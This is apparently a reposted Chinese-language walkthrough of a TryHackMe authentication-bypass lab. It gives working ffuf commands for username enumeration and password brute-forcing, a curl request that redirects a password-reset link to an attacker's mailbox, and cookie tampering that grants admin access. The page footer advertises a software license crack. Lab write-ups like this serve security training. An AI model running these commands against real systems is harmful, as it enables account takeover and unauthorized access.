Authentication Bypass (身份验证绕过)

news/2025/1/5 9:29:00/文章来源:https://www.cnblogs.com/ILOVEY0U/p/18648984

用户名的枚举


在用户注册页面,尝试输入用户名admin并在其他表单字段中填写虚假信息尝试登录,会返回一个页面提示 An account with this username already exists(该用户已经被使用)

根据上述提示信息,使用fuff工具去fuzz枚举出已经存在的相关用户名
user@tryhackme$ ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

上述参数中

  • -w 为字典路径
  • -X 为请求方式,这里使用POST
  • -d 为post请求添加的数据,其中要fuzz枚举的地方使用FUZZ替代
  • -H 为添加http请求头
  • -u 为要请求的url地址
  • -mr 为正则匹配响应的内容,其包含字符串"username already exists"

如果没有SecLists这个字典的话,使用sudo apt install seclists来进行安装
通过扫描得到四个用户admin,robert,simon,steve

我们将其保存到valid_usernames.txt文件之中,来为下一步的暴力破解做准备


暴力破解


这里,同样使用fuff工具配合已经fuzz出来的用户名在登录页面进行暴力破解

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

上述参数中

  • -w 字典:参数名,分别使用valid_usernames.txt作为fuzz的W1参数,10-million-password-list-top-100.txt作为fuzz的W2参数
  • -X 请求方式为POST请求
  • -d POST请求参数中,W1为参数username的值,W2为参数password的值
  • -H http请求头
  • -u 请求的url地址
  • -fc 过滤页面响应状态码 只过滤200状态响应码

这里我们爆破出用户名steve的密码为thunder


逻辑缺陷


使用上面爆破出来的用户名密码进行登录,在Support Tickets处有这样提示:Tickets can be created using the below button or by sending an email to your custom address steve@customer.acmeitsupport.thm (可以发送邮件到steve@customer.acmeitsupport.thm来创建凭证),该功能与邮箱类似,我们可以将其看作为内部应用邮箱

来到用户密码重置页面,对用户密码重置功能进行测试,提示输入用户邮箱,这里使用robert@acmeitsupport.thm

然后会提示让我们输入对应的用户名
为了更加直观,我们在这里使用burp抓个包

然后尝试修改post参数,添加一个email参数email=attacker@hacker.com

也可以使用题目中所提示的
curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

经过测试,发现成功的修改了重置用户密码凭证接受的目标邮箱,即该处存在逻辑缺陷

根据题目提示,我们需要得到用户robert的票据凭证

那么来到用户注册的地方,注册一个攻击者用户hacker,其中的邮箱地址为hacker@customer.acmeitsupport.thm

来到重置密码的地方,进行抓包,将email的地址改为我们攻击者用户接收凭证的邮箱地址,然后发送

也可以使用题目所给的提示,

curl 'http://MACHINE_IP/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

最后登录hacker用户,发现已经收到了该密码重置的凭证,

打开该密码重置凭证链接

成功登录到robert用户,拿到其flag


cookie的篡改


根据题目提示打开页面http://MACHINE_IP/cookie-test
在未登录的情况下,显示Not Logged In

在登录的时候尝试修改参数添加logged_in=true,admin=false保持不变

curl -H "Cookie: logged_in=true; admin=false" http://MACHINE_IP/cookie-test

这时候页面会显示Logged In As A User

当我们将admin的参数从false改为true并登录时

curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test

这时候页面会显示 Logged In As An Admin,并成功拿到其flag

常见的cookie序列

Hash值破解:https://crackstation.net/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/863194.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[Python/AI] Gradio:快速构建AI应用

缘起:MindSearch python frontend/mindsearch_gradio.pyhttps://github.com/InternLM/MindSearch https://github.com/InternLM/MindSearch/tree/main/frontend https://github.com/InternLM/MindSearch/blob/main/frontend/mindsearch_gradio.py概述 : Gradio 安装 Gradio前…

【misc-取证】一道windows内存取证题,总有一款工具是我们不知道的!

引言 这道题目算是简单的取证题目,但是涉及2款工具的使用,其中一个工具还比较生僻,导致我们会卡在胜利的前夕。 题目 名称:forensics 提示:我加密好的文件呢??? 题解解压附件得到《1.raw》,题目名称告诉我们这是一道取证题,经验告诉我们这大概率是一个windows的内存镜…

高反光表面三维视觉测量方法

显影剂 高动态范围技术 偏振折技术 https://www.bilibili.com/opus/680388726059171858针对不同工作环境,调整镜头曝光周期与投影光强度; 开启HDR,并使用自动检测功能检测最佳光强; 显扬科技HY-M5 3D视觉相机安装在待检测反光物体上方,成像视野能清晰覆盖待测物,拍摄,完…

[Python] 包管理器pip

序python的包管理器pip其实一直在用,但一直没有总结一下。过了许久后,再来摸,又会生疏。索性,那就总结一下吧,以便对此工具,常用常翻常新。概述:Python包管理器 Pippip是Python的包管理工具,用于安装和管理Python包。‌pip允许用户从Python包索引(PyPI)下载和安装软件包…

【Spring安全】SpringWeb内存马变型

一、前言二、路由分析2.1 获取HandlerExecutionChain2.2 获取HandlerAdapter2.3 执行2.4 路由俯瞰图三、变型3.1 获取DispatcherServlet对象3.2 向HandlerMapping添加Handler3.3 自定义Handler.*相关属性3.4 修改路由处理过程的其他属性四、总结一、前言 业界公开的Spring内存马…

【Spring代码审计】SpringWeb内存马变型

一、前言二、路由分析2.1 获取HandlerExecutionChain2.2 获取HandlerAdapter2.3 执行2.4 路由俯瞰图三、变型3.1 获取DispatcherServlet对象3.2 向HandlerMapping添加Handler3.3 自定义Handler.*相关属性3.4 修改路由处理过程的其他属性四、总结一、前言 业界公开的Spring内存马…

ELK集成.Net8部署在Docker中

ELK介绍 ELK,是Elastaicsearch、Logstash、Kibana三个软件的简称。 Elastaicsearch是一个开源的全文搜索引擎,基于Lucene的封装,它提供了REST API 的操作接口; Logstach是一个开源的数据收集引擎,具有实时的管道,它可以动态地将不同的数据源的数据统一起来。 Kibana是一个…

matlab的标定工具箱

https://blog.csdn.net/weixin_43159148/article/details/97918258 https://blog.csdn.net/qq_41372644/article/details/121089361 Camera 1 Intrinsics 相机1内参 Focal length (pixels): [ 534.3145 +/- 0.3389 534.3111 +/- 0.3287 ] Principal point (pixels):[…

【Access语法】SQL连接查询

在 Microsoft Access 中,联合查询(也称为 JOIN 查询)是用于从两个或多个相关表中检索数据的一种方法。通过使用联合查询,您可以将来自不同表的数据组合在一起,以便在一个结果集中进行查看和分析。 联合查询的类型 Access 支持几种不同类型的联合查询,包括: 内连接(Inne…

神经辐射场ReNF基础

定义 神经辐射场是一种面向三维隐式空间建模的深度学习模型,这种深度学习模型又称全连接神经网络(又称多层感知机)。NeRF 所要做的任务是 Novel View Synthesis,一般翻译为新视角合成任务,定义是:在已知视角下对场景进行一系列的捕获 (包括拍摄到的图像,以及每张图像对应…

opencv + vtk + contrib 编译

https://blog.csdn.net/qq_48034474/article/details/12041170

IntelliJ IDEA 2024.3.1.1 最新版安装教程-至2099年(适用JetBrains 全家桶)

下面演示下最新版本的永久激活方法,大家按教程就可以实现一键永久激活。该工具是全家桶,大家可以放心使用。获取地址:https://www.dmjf.top/15141.html